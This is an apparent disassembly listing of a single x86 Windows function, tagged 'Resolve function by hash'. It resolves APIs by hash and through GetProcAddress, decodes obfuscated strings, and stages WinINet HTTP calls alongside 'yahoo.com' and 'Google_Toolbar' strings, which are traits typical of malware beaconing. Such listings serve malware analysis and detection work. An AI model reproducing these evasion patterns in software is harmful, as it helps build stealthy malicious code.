Function at 0x10008e90
Capabilities:
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1d64
call fcn.1000b940
mov dword [ebp - 0x1d64], ecx
push str._f___38asx___
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
push 0x1000e3d0
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1d64]
mov dword [ecx + 0xc], eax
push 0x1000e3e4
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1d64]
mov dword [ecx + 0x10], eax
push 0x7c0dfcaa
mov edx, dword [ebp - 4]
push edx
call fcn.1000a5a0
add esp, 8
mov ecx, dword [ebp - 0x1d64]
mov dword [ecx + 0x10], eax
push str._fe_8_
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x1d64]
mov dword [ecx + 0x14], eax
mov edx, dword [ebp - 0x1d64]
mov byte [edx + 0x18], 0
mov eax, dword [ebp - 0x1d64]
mov dword [eax + 0x418], 0
push str._f___38asx___
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x41c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str._n_9_4ef_:_
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov edx, dword [ebp - 0x1d64]
add edx, 0x43c
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str._n_859:_:_
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov eax, dword [ebp - 0x1d64]
add eax, 0x45c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.wininet.dll
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x47c
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000e388
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov edx, dword [ebp - 0x1d64]
add edx, 0x49c
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000e3a4
lea ecx, [ebp - 0x308]
call fcn.10002a50
push eax
mov eax, dword [ebp - 0x1d64]
add eax, 0x4bc
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [ebp - 0x1d64]
mov byte [ecx + 0x4dc], 0
push str.InternetOpenA
mov edx, dword [ebp - 0x1d64]
add edx, 0x5e0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.InternetConnectA
mov eax, dword [ebp - 0x1d64]
add eax, 0x600
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.HttpOpenRequestA
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x620
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.HttpSendRequestA
mov edx, dword [ebp - 0x1d64]
add edx, 0x640
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.InternetCloseHandle
mov eax, dword [ebp - 0x1d64]
add eax, 0x660
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.yahoo.com
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x680
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000d380
mov edx, dword [ebp - 0x1d64]
add edx, 0x6a0
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Google_Toolbar
mov eax, dword [ebp - 0x1d64]
add eax, 0x6c0
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.__111
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x700
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000d338
mov edx, dword [ebp - 0x1d64]
add edx, 0x740
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x1d64]
mov dword [eax + 0x7c0], 0
mov ecx, dword [ebp - 0x1d64]
add ecx, 0x740
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [ebp - 0x1d64]
mov dword [edx + 0x7c4], eax
mov eax, dword [ebp - 0x1d64]
mov byte [eax + 0x7c8], 0
mov ecx, dword [ebp - 0x1d64]
mov dword [ecx + 0x7cc], 0
mov esp, ebp
pop ebp
ret